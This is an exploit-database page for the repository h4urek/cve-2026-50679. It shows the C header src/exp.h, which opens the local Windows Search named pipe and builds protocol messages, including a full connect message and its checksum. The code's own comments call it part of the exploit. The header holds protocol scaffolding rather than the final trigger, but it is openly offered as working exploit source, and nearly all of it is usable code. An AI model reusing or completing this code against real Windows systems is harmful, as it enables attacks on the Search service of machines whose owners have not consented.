Exploit databaseDownload repository ZIP
GH-cbba903cf7dbb63ef0e7d51be05a5c17
h4urek/cve-2026-50679
Sources for CVE-2026-50679
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
h4urek/cve-2026-50679Revision 506edc560a77
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/exp.h
Text · 19,883 bytes#ifndef EXP_H
#define EXP_H
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#ifndef UNICODE
#define UNICODE
#endif
#ifndef _UNICODE
#define _UNICODE
#endif
#include <windows.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wchar.h>
/* -------------------------------------------------------------------------
* Helpers
* ---------------------------------------------------------------------- */
#define WSP_STATIC_ASSERT_JOIN2(a, b) a##b
#define WSP_STATIC_ASSERT_JOIN(a, b) WSP_STATIC_ASSERT_JOIN2(a, b)
#define WSP_STATIC_ASSERT(expr) \
typedef char WSP_STATIC_ASSERT_JOIN(wsp_static_assertion_at_line_, __LINE__)[(expr) ? 1 : -1]
#if defined(_MSC_VER)
#define WSP_INLINE static __forceinline
#elif defined(__GNUC__) || defined(__clang__)
#define WSP_INLINE static __inline__ __attribute__((always_inline))
#else
#define WSP_INLINE static __inline
#endif
#ifndef ARRAYSIZE
#define ARRAYSIZE(arr) (sizeof(arr) / sizeof((arr)[0]))
#endif
#define WSP_ALIGN_UP(value, alignment) \
(((value) + ((alignment) - 1u)) & ~((alignment) - 1u))
#define WSP_ALIGN4(value) WSP_ALIGN_UP(value, 4u)
#define WSP_ALIGN8(value) WSP_ALIGN_UP(value, 8u)
/* -------------------------------------------------------------------------
* Message types used by the exploit
* ---------------------------------------------------------------------- */
typedef enum _WSP_MESSAGE_TYPE {
WspMsgConnectIn = 200, /* 0xC8 */
WspMsgCreateQueryIn = 202, /* 0xCA */
WspMsgSetBindingsIn = 208, /* 0xD0 */
WspMsgExternalSearchResultIn = 245, /* 0xF5 */
} WSP_MESSAGE_TYPE;
/* -------------------------------------------------------------------------
* Protocol constants
* ---------------------------------------------------------------------- */
#ifdef _WIN64
#define WSP_CLIENT_VERSION 0x00010109u
#else
#define WSP_CLIENT_VERSION 0x00000109u
#endif
#define WSP_CLIENT_IS_LOCAL 0u
#define WSP_SEARCH_PIPE_DOS_PATH L"\\\\.\\pipe\\MsFteWds"
#define WSP_DEFAULT_CATALOG L"Windows\\SystemIndex"
#define WSP_DEFAULT_WAIT_MS 8000u
#define WSP_CHECKSUM_XOR_MASK 0x59533959u
/* Property-set GUIDs. */
#define WSP_GUID_FSCIFRMWRK_EXT_INIT \
{ 0xA9BD1526, 0x6A80, 0x11D0, { 0x8C, 0x9D, 0x00, 0x20, 0xAF, 0x1D, 0x74, 0x0E } }
#define WSP_GUID_CIFRMWRKCORE_EXT_INIT \
{ 0xAFAFACA5, 0xB5D1, 0x11D0, { 0x8C, 0x62, 0x00, 0xC0, 0x4F, 0xC2, 0xDB, 0x8D } }
#define WSP_GUID_SYSTEM_SEARCH_INIT \
{ 0xB725F130, 0x47EF, 0x101A, { 0xA5, 0xF1, 0x02, 0x60, 0x8C, 0x9E, 0xEB, 0xAC } }
/* Variant types. */
#define WSP_VT_I4 0x0003u
#define WSP_VT_BSTR 0x0008u
#define WSP_VT_LPWSTR 0x001Fu
#define WSP_VT_VECTOR 0x1000u
/* Column identification. */
#define WSP_DBKIND_GUID_PROPID 0x00000001u
/* Restriction and relation types. */
#define WSP_RT_PROPERTY 0x00000005u
#define WSP_PR_RE 0x00000006u
/* Database property IDs. */
#define WSP_DBPROP_CI_CATALOG_NAME 0x00000002u
#define WSP_DBPROP_CI_INCLUDE_SCOPES 0x00000003u
#define WSP_DBPROP_CI_SCOPE_FLAGS 0x00000004u
#define WSP_DBPROP_CI_QUERY_TYPE 0x00000007u
#define WSP_DBPROP_MACHINE 0x00000002u
#define WSP_QUERY_DEEP 0x01u
#define WSP_DBPROPOPTIONS_REQUIRED 0x00000000u
#define WSP_DBPROPSTATUS_OK 0x00000000u
#define WSP_LCID_EN_US 0x00000409u
/* -------------------------------------------------------------------------
* Wire structures
* ---------------------------------------------------------------------- */
typedef struct _WSP_MESSAGE_HEADER {
DWORD _msg;
DWORD _status;
union {
DWORD _ulReserved1;
DWORD _ulChecksum;
};
DWORD _ulReserved2;
} WSP_MESSAGE_HEADER;
WSP_STATIC_ASSERT(sizeof(WSP_MESSAGE_HEADER) == 16);
typedef struct _WSP_BASE_STORAGE_VARIANT {
WORD vType;
BYTE vData1;
BYTE vData2;
} WSP_BASE_STORAGE_VARIANT;
WSP_STATIC_ASSERT(sizeof(WSP_BASE_STORAGE_VARIANT) == 4);
typedef struct _WSP_FULL_PROP_SPEC {
DWORD _eKind;
GUID _guidPropSet;
DWORD _ulPropId;
} WSP_FULL_PROP_SPEC;
WSP_STATIC_ASSERT(sizeof(WSP_FULL_PROP_SPEC) == 24);
typedef struct _WSP_DB_PROP_SET {
GUID guidPropertySet;
DWORD cProperties;
} WSP_DB_PROP_SET_TAIL;
typedef struct _WSP_DB_PROP {
DWORD DBPROPID;
DWORD DBPROPOPTIONS;
DWORD DBPROPSTATUS;
} WSP_DB_PROP_TAIL;
typedef struct _WSP_CPM_CONNECT_IN {
WSP_MESSAGE_HEADER _header;
DWORD _iClientVersion;
DWORD _fClientIsRemote;
DWORD _cbBlob1;
DWORD _paddingCbBlob2;
DWORD _cbBlob2;
DWORD _padding[3];
} WSP_CPM_CONNECT_IN;
WSP_STATIC_ASSERT(sizeof(WSP_CPM_CONNECT_IN) == 48);
typedef struct _WSP_CPM_EXTERNAL_SEARCH_RESULT_IN {
WSP_MESSAGE_HEADER _header;
DWORD queryNameLength;
DWORD currentRowsetIndex;
DWORD remainingRowsetCount;
} WSP_CPM_EXTERNAL_SEARCH_RESULT_IN;
WSP_STATIC_ASSERT(sizeof(WSP_CPM_EXTERNAL_SEARCH_RESULT_IN) == 28);
typedef struct _WSP_MESSAGE {
BYTE *data;
size_t size;
} WSP_MESSAGE;
/* -------------------------------------------------------------------------
* Message helpers
* ---------------------------------------------------------------------- */
WSP_INLINE void WspFreeMessage(_Inout_ WSP_MESSAGE *message)
{
free(message->data);
message->data = NULL;
message->size = 0;
}
WSP_INLINE bool WspAllocMessage(_Inout_ WSP_MESSAGE *message, size_t size)
{
if (message->data != NULL || size == 0) {
return false;
}
message->data = (BYTE *)calloc(1, size);
if (message->data == NULL) {
return false;
}
message->size = size;
return true;
}
WSP_INLINE DWORD WspComputeChecksum(
_In_reads_bytes_(cbData) const void *data,
DWORD cbData,
DWORD messageId)
{
const BYTE *pb = (const BYTE *)data;
DWORD sum = 0;
if (cbData < sizeof(WSP_MESSAGE_HEADER)) {
return 0;
}
for (size_t offset = sizeof(WSP_MESSAGE_HEADER);
offset + sizeof(DWORD) <= cbData;
offset += sizeof(DWORD))
{
DWORD value;
memcpy(&value, pb + offset, sizeof(value));
sum += value;
}
return (sum ^ WSP_CHECKSUM_XOR_MASK) - messageId;
}
WSP_INLINE bool WspWriteMessage(
_In_ HANDLE pipe,
_In_reads_bytes_(cbData) const void *data,
DWORD cbData)
{
DWORD written = 0;
if (!WriteFile(pipe, data, cbData, &written, NULL) || written != cbData) {
wprintf(L"[!] WriteFile failed (wrote %lu of %lu): error %lu\n",
written, cbData, GetLastError());
return false;
}
return true;
}
WSP_INLINE bool WspReadMessage(
_In_ HANDLE pipe,
_Out_writes_bytes_to_(cbCapacity, *pcbRead) BYTE *buffer,
DWORD cbCapacity,
_Out_ DWORD *pcbRead)
{
DWORD read = 0;
if (!ReadFile(pipe, buffer, cbCapacity, &read, NULL)) {
wprintf(L"[!] ReadFile failed: error %lu\n", GetLastError());
return false;
}
*pcbRead = read;
return true;
}
WSP_INLINE HANDLE WspOpenLocalSearchPipe(DWORD dwWaitMs)
{
ULONGLONG start = GetTickCount64();
DWORD lastError = ERROR_FILE_NOT_FOUND;
while (GetTickCount64() - start < dwWaitMs) {
HANDLE pipe = CreateFileW(
WSP_SEARCH_PIPE_DOS_PATH,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (pipe != INVALID_HANDLE_VALUE) {
DWORD dwMode = PIPE_READMODE_MESSAGE;
SetNamedPipeHandleState(pipe, &dwMode, NULL, NULL);
return pipe;
}
lastError = GetLastError();
if (lastError == ERROR_PIPE_BUSY) {
WaitNamedPipeW(WSP_SEARCH_PIPE_DOS_PATH, 1000);
} else if (lastError == ERROR_FILE_NOT_FOUND) {
Sleep(100);
} else {
break;
}
}
wprintf(L"[!] CreateFile(%ls) failed: error %lu\n",
WSP_SEARCH_PIPE_DOS_PATH, lastError);
return INVALID_HANDLE_VALUE;
}
/* -------------------------------------------------------------------------
* CPMConnectIn construction
* ---------------------------------------------------------------------- */
WSP_INLINE bool WspBuildPrimaryPropertyBlob(
_In_z_ const WCHAR *catalog,
_In_z_ const WCHAR *machineName,
_Out_ WSP_MESSAGE *blob)
{
const WCHAR rootPath[2] = { L'\\', L'\0' };
const size_t catalogChars = wcslen(catalog) + 1u;
const size_t machineChars = wcslen(machineName) + 1u;
const size_t rootChars = ARRAYSIZE(rootPath);
const size_t catalogBytes = catalogChars * sizeof(WCHAR);
const size_t machineBytes = machineChars * sizeof(WCHAR);
const size_t rootBytes = rootChars * sizeof(WCHAR);
const size_t propSize = sizeof(WSP_DB_PROP_TAIL) + sizeof(WSP_FULL_PROP_SPEC);
size_t fsSetSize;
size_t coreSetSize;
DWORD propSetCount = 2;
BYTE *cursor;
if (catalogChars > UINT32_MAX || machineChars > UINT32_MAX ||
catalogBytes > UINT32_MAX || machineBytes > UINT32_MAX) {
return false;
}
fsSetSize = sizeof(WSP_DB_PROP_SET_TAIL);
fsSetSize += propSize;
fsSetSize += sizeof(WSP_BASE_STORAGE_VARIANT) + sizeof(DWORD) + catalogBytes;
fsSetSize = WSP_ALIGN4(fsSetSize);
fsSetSize += propSize + sizeof(WSP_BASE_STORAGE_VARIANT) + 4;
fsSetSize = WSP_ALIGN4(fsSetSize);
fsSetSize += propSize + sizeof(WSP_BASE_STORAGE_VARIANT) + sizeof(DWORD) + 4;
fsSetSize = WSP_ALIGN4(fsSetSize);
fsSetSize += propSize + sizeof(WSP_BASE_STORAGE_VARIANT) + sizeof(DWORD) * 2 + rootBytes;
coreSetSize = sizeof(WSP_DB_PROP_SET_TAIL) + propSize +
sizeof(WSP_BASE_STORAGE_VARIANT) + sizeof(DWORD) + machineBytes;
if (!WspAllocMessage(blob, sizeof(propSetCount) + fsSetSize + coreSetSize)) {
return false;
}
cursor = blob->data;
memcpy(cursor, &propSetCount, sizeof(propSetCount));
cursor += sizeof(propSetCount);
/* FSCIFRMWRK_EXT property set (4 properties). */
{
WSP_DB_PROP_SET_TAIL fsHeader;
WSP_DB_PROP_TAIL prop;
WSP_FULL_PROP_SPEC colId;
WSP_BASE_STORAGE_VARIANT variant;
memset(&fsHeader, 0, sizeof(fsHeader));
fsHeader.guidPropertySet = (GUID)WSP_GUID_FSCIFRMWRK_EXT_INIT;
fsHeader.cProperties = 4;
memcpy(cursor, &fsHeader, sizeof(fsHeader));
cursor += sizeof(fsHeader);
/* Catalog name. */
memset(&prop, 0, sizeof(prop));
prop.DBPROPID = WSP_DBPROP_CI_CATALOG_NAME;
prop.DBPROPOPTIONS = WSP_DBPROPOPTIONS_REQUIRED;
prop.DBPROPSTATUS = WSP_DBPROPSTATUS_OK;
memset(&colId, 0, sizeof(colId));
colId._eKind = WSP_DBKIND_GUID_PROPID;
memcpy(cursor, &prop, sizeof(prop));
cursor += sizeof(prop);
memcpy(cursor, &colId, sizeof(colId));
cursor += sizeof(colId);
variant.vType = WSP_VT_LPWSTR;
variant.vData1 = 0;
variant.vData2 = 0;
memcpy(cursor, &variant, sizeof(variant));
cursor += sizeof(variant);
{
DWORD chars = (DWORD)catalogChars;
memcpy(cursor, &chars, sizeof(chars));
cursor += sizeof(chars);
memcpy(cursor, catalog, catalogBytes);
cursor += catalogBytes;
}
cursor = blob->data + WSP_ALIGN4((size_t)(cursor - blob->data));
/* Query type = CiNormal. */
memset(&prop, 0, sizeof(prop));
prop.DBPROPID = WSP_DBPROP_CI_QUERY_TYPE;
prop.DBPROPOPTIONS = WSP_DBPROPOPTIONS_REQUIRED;
memcpy(cursor, &prop, sizeof(prop));
cursor += sizeof(prop);
memset(&colId, 0, sizeof(colId));
colId._eKind = WSP_DBKIND_GUID_PROPID;
memcpy(cursor, &colId, sizeof(colId));
cursor += sizeof(colId);
variant.vType = WSP_VT_I4;
variant.vData1 = 0;
variant.vData2 = 0;
memcpy(cursor, &variant, sizeof(variant));
cursor += sizeof(variant);
{
DWORD zero = 0;
memcpy(cursor, &zero, sizeof(zero));
cursor += sizeof(zero);
}
cursor = blob->data + WSP_ALIGN4((size_t)(cursor - blob->data));
/* Scope flags (VT_VECTOR | VT_I4, deep = 1). */
memset(&prop, 0, sizeof(prop));
prop.DBPROPID = WSP_DBPROP_CI_SCOPE_FLAGS;
prop.DBPROPOPTIONS = WSP_DBPROPOPTIONS_REQUIRED;
memcpy(cursor, &prop, sizeof(prop));
cursor += sizeof(prop);
memset(&colId, 0, sizeof(colId));
colId._eKind = WSP_DBKIND_GUID_PROPID;
memcpy(cursor, &colId, sizeof(colId));
cursor += sizeof(colId);
variant.vType = WSP_VT_VECTOR | WSP_VT_I4;
memcpy(cursor, &variant, sizeof(variant));
cursor += sizeof(variant);
{
DWORD count = 1;
DWORD deep = WSP_QUERY_DEEP;
memcpy(cursor, &count, sizeof(count));
cursor += sizeof(count);
memcpy(cursor, &deep, sizeof(deep));
cursor += sizeof(deep);
}
cursor = blob->data + WSP_ALIGN4((size_t)(cursor - blob->data));
/* Include scopes (VT_VECTOR | VT_LPWSTR, "\"). */
memset(&prop, 0, sizeof(prop));
prop.DBPROPID = WSP_DBPROP_CI_INCLUDE_SCOPES;
prop.DBPROPOPTIONS = WSP_DBPROPOPTIONS_REQUIRED;
memcpy(cursor, &prop, sizeof(prop));
cursor += sizeof(prop);
memset(&colId, 0, sizeof(colId));
colId._eKind = WSP_DBKIND_GUID_PROPID;
memcpy(cursor, &colId, sizeof(colId));
cursor += sizeof(colId);
variant.vType = WSP_VT_VECTOR | WSP_VT_LPWSTR;
memcpy(cursor, &variant, sizeof(variant));
cursor += sizeof(variant);
{
DWORD count = 1;
DWORD chars = (DWORD)rootChars;
memcpy(cursor, &count, sizeof(count));
cursor += sizeof(count);
memcpy(cursor, &chars, sizeof(chars));
cursor += sizeof(chars);
memcpy(cursor, rootPath, rootBytes);
cursor += rootBytes;
}
}
/* CIFRMWRKCORE_EXT property set (1 property). */
{
WSP_DB_PROP_SET_TAIL coreHeader;
WSP_DB_PROP_TAIL prop;
WSP_FULL_PROP_SPEC colId;
WSP_BASE_STORAGE_VARIANT variant;
memset(&coreHeader, 0, sizeof(coreHeader));
coreHeader.guidPropertySet = (GUID)WSP_GUID_CIFRMWRKCORE_EXT_INIT;
coreHeader.cProperties = 1;
memcpy(cursor, &coreHeader, sizeof(coreHeader));
cursor += sizeof(coreHeader);
memset(&prop, 0, sizeof(prop));
prop.DBPROPID = WSP_DBPROP_MACHINE;
prop.DBPROPOPTIONS = WSP_DBPROPOPTIONS_REQUIRED;
memcpy(cursor, &prop, sizeof(prop));
cursor += sizeof(prop);
memset(&colId, 0, sizeof(colId));
colId._eKind = WSP_DBKIND_GUID_PROPID;
memcpy(cursor, &colId, sizeof(colId));
cursor += sizeof(colId);
variant.vType = WSP_VT_BSTR;
variant.vData1 = 0;
variant.vData2 = 0;
memcpy(cursor, &variant, sizeof(variant));
cursor += sizeof(variant);
{
DWORD bytes = (DWORD)machineBytes;
memcpy(cursor, &bytes, sizeof(bytes));
cursor += sizeof(bytes);
memcpy(cursor, machineName, machineBytes);
cursor += machineBytes;
}
}
return (size_t)(cursor - blob->data) == blob->size;
}
WSP_INLINE bool WspBuildConnectMessageFromBlobs(
_Out_ WSP_MESSAGE *request,
DWORD dwClientVersion,
DWORD dwClientIsRemote,
_In_opt_z_ const WCHAR *wireMachineName,
_In_opt_z_ const WCHAR *wireUserName,
_In_ const WSP_MESSAGE *primaryBlob,
_In_ const WSP_MESSAGE *externalBlob)
{
const WCHAR *machine = (wireMachineName != NULL) ? wireMachineName : L"";
const WCHAR *user = (wireUserName != NULL) ? wireUserName : L"";
const size_t machineBytes = (wcslen(machine) + 1u) * sizeof(WCHAR);
const size_t userBytes = (wcslen(user) + 1u) * sizeof(WCHAR);
const size_t stringsEnd = sizeof(WSP_CPM_CONNECT_IN) + machineBytes + userBytes;
const size_t primaryOff = WSP_ALIGN8(stringsEnd);
const size_t externalOff = WSP_ALIGN8(primaryOff + primaryBlob->size);
const size_t totalSize = externalOff + externalBlob->size;
WSP_CPM_CONNECT_IN *fixed;
BYTE *cursor;
if (primaryBlob->size > UINT32_MAX || externalBlob->size > UINT32_MAX ||
!WspAllocMessage(request, totalSize)) {
return false;
}
fixed = (WSP_CPM_CONNECT_IN *)request->data;
memset(fixed, 0, sizeof(*fixed));
fixed->_header._msg = WspMsgConnectIn;
fixed->_iClientVersion = dwClientVersion;
fixed->_fClientIsRemote = dwClientIsRemote;
fixed->_cbBlob1 = (DWORD)primaryBlob->size;
fixed->_cbBlob2 = (DWORD)externalBlob->size;
cursor = request->data + sizeof(*fixed);
memcpy(cursor, machine, machineBytes);
cursor += machineBytes;
memcpy(cursor, user, userBytes);
memcpy(request->data + primaryOff, primaryBlob->data, primaryBlob->size);
memcpy(request->data + externalOff, externalBlob->data, externalBlob->size);
fixed->_header._ulChecksum = WspComputeChecksum(
request->data, (DWORD)request->size, WspMsgConnectIn);
return true;
}
WSP_INLINE bool WspBuildConnectMessage(
_Out_ WSP_MESSAGE *request,
_In_z_ const WCHAR *catalog)
{
WCHAR machineName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD machineNameChars = ARRAYSIZE(machineName);
const size_t catalogChars = wcslen(catalog) + 1u;
const size_t catalogBytes = catalogChars * sizeof(WCHAR);
WSP_MESSAGE primary = { NULL, 0 };
WSP_MESSAGE external = { NULL, 0 };
bool ok;
if (catalogBytes > UINT32_MAX) {
return false;
}
if (!GetComputerNameW(machineName, &machineNameChars)) {
lstrcpynW(machineName, L"localhost", ARRAYSIZE(machineName));
}
ok = WspBuildPrimaryPropertyBlob(catalog, machineName, &primary);
if (ok) {
typedef struct _WSP_EXTERNAL_CATALOG_PREFIX {
DWORD propSetCount;
GUID guidPropertySet;
DWORD cProperties;
DWORD dbPropId;
DWORD dbPropOptions;
DWORD dbPropStatus;
DWORD eKind;
GUID guidColId;
DWORD ulPropId;
WORD vType;
BYTE vData1;
BYTE vData2;
DWORD cbData;
} WSP_EXTERNAL_CATALOG_PREFIX;
size_t extSize = sizeof(WSP_EXTERNAL_CATALOG_PREFIX) + catalogBytes;
if (WspAllocMessage(&external, extSize)) {
WSP_EXTERNAL_CATALOG_PREFIX *ecp =
(WSP_EXTERNAL_CATALOG_PREFIX *)external.data;
memset(ecp, 0, sizeof(*ecp));
ecp->propSetCount = 1;
ecp->guidPropertySet = (GUID)WSP_GUID_FSCIFRMWRK_EXT_INIT;
ecp->cProperties = 1;
ecp->dbPropId = WSP_DBPROP_CI_CATALOG_NAME;
ecp->dbPropOptions = WSP_DBPROPOPTIONS_REQUIRED;
ecp->eKind = WSP_DBKIND_GUID_PROPID;
ecp->vType = WSP_VT_BSTR;
ecp->cbData = (DWORD)catalogBytes;
memcpy(external.data + sizeof(*ecp), catalog, catalogBytes);
ok = WspBuildConnectMessageFromBlobs(
request,
WSP_CLIENT_VERSION,
WSP_CLIENT_IS_LOCAL,
L"",
L"",
&primary,
&external);
} else {
ok = false;
}
}
WspFreeMessage(&primary);
WspFreeMessage(&external);
return ok;
}
#endif /* EXP_H */